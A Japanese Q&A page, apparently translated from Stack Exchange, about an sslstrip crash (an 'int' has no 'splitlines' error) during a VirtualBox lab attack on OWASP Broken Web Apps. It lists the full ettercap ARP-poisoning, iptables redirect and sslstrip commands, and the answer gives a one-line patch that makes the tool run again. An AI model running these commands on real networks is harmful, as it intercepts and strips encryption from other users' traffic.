web-dev-qa-db-ja.com

sslstripがettercapと一緒に使用すると、「exceptions.AttributeError: 'int' object has no attribute 'splitlines'」というエラーが発生する

VirtualBoxで3つのVMを実行しています。 3つのVMはすべて、IP 192.168.56.1/24のVirtualBoxから作成された仮想ネットワークに接続されています。

すべてのVMが構成されているHost only Adapter

OWASPの壊れたWebアプリケーションをホストする1台のLinux Webサーバー:192.168.56.3

Webサイトにアクセスするクライアントである2つのWindowsマシン:192.168.56.5

3中間者攻撃を実行するKali Linuxマシン:192.168.56.4

これが私がしたことです。

sslstripが開始されます

最初のsslstripが開始されます。

echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

sslstrip -l 8080 --favicon --write=/root/Lessons/sslstrip/sslstrip.log

ettercapが開始されます

ettercap --mitm ARP:REMOTE --quiet --text --write ~/Lessons/ettercap/ettercap.log --iface eth0 /192.168.56.3// /192.168.56.5//

出力

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.56.3 08:00:27:FE:F6:AC

 GROUP 2 : 192.168.56.5 08:00:27:E6:E5:59
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

次に、Windowsクライアントブラウザからホームページにアクセスします192.168.56.3/

正しくロードされます。

次に、リンクの1つ、Mutillidae IIをクリックします。

これにより、sslstripでエラーが発生します。

Unhandled Error
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/twisted/python/log.py", line 103, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
  File "/usr/local/lib/python2.7/dist-packages/twisted/python/log.py", line 86, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
  File "/usr/local/lib/python2.7/dist-packages/twisted/python/context.py", line 122, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
  File "/usr/local/lib/python2.7/dist-packages/twisted/python/context.py", line 85, in callWithContext
    return func(*args,**kw)
--- <exception caught here> ---
  File "/usr/local/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 614, in _doReadOrWrite
    why = selectable.doRead()
  File "/usr/local/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 243, in doRead
    return self._dataReceived(data)
  File "/usr/local/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 249, in _dataReceived
    rval = self.protocol.dataReceived(data)
  File "/usr/local/lib/python2.7/dist-packages/twisted/protocols/basic.py", line 579, in dataReceived
    why = self.rawDataReceived(data)
  File "/usr/local/lib/python2.7/dist-packages/twisted/web/http.py", line 649, in rawDataReceived
    self.handleResponseEnd()
  File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
    HTTPClient.handleResponseEnd(self)
  File "/usr/local/lib/python2.7/dist-packages/twisted/web/http.py", line 612, in handleResponseEnd
    self.handleResponse(b)
  File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 131, in handleResponse
    self.client.setHeader('Content-Length', len(data))
  File "/usr/local/lib/python2.7/dist-packages/twisted/web/http.py", line 1314, in setHeader
    self.responseHeaders.setRawHeaders(name, [value])
  File "/usr/local/lib/python2.7/dist-packages/twisted/web/http_headers.py", line 220, in setRawHeaders
    for v in self._encodeValues(values)]
  File "/usr/local/lib/python2.7/dist-packages/twisted/web/http_headers.py", line 40, in _sanitizeLinearWhitespace
    return b' '.join(headerComponent.splitlines())
exceptions.AttributeError: 'int' object has no attribute 'splitlines'

アドレスバーにhttpsを手動で配置した場合、このエラーは発生しません。ただし、SSLストリッピングは発生しません。

1
Enzio

Twisted 19.2.0以降、ヘッダーの値はバイト文字列であることが期待されていますが、SSLstripによってTwistedに渡される 'Content-Length'ヘッダーの値はlen(data)であり、これは整数です。したがって、len(data)str(len(data))に置き換えると、

File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line  131

それはトリックを行う必要があります。

1
CravateRouge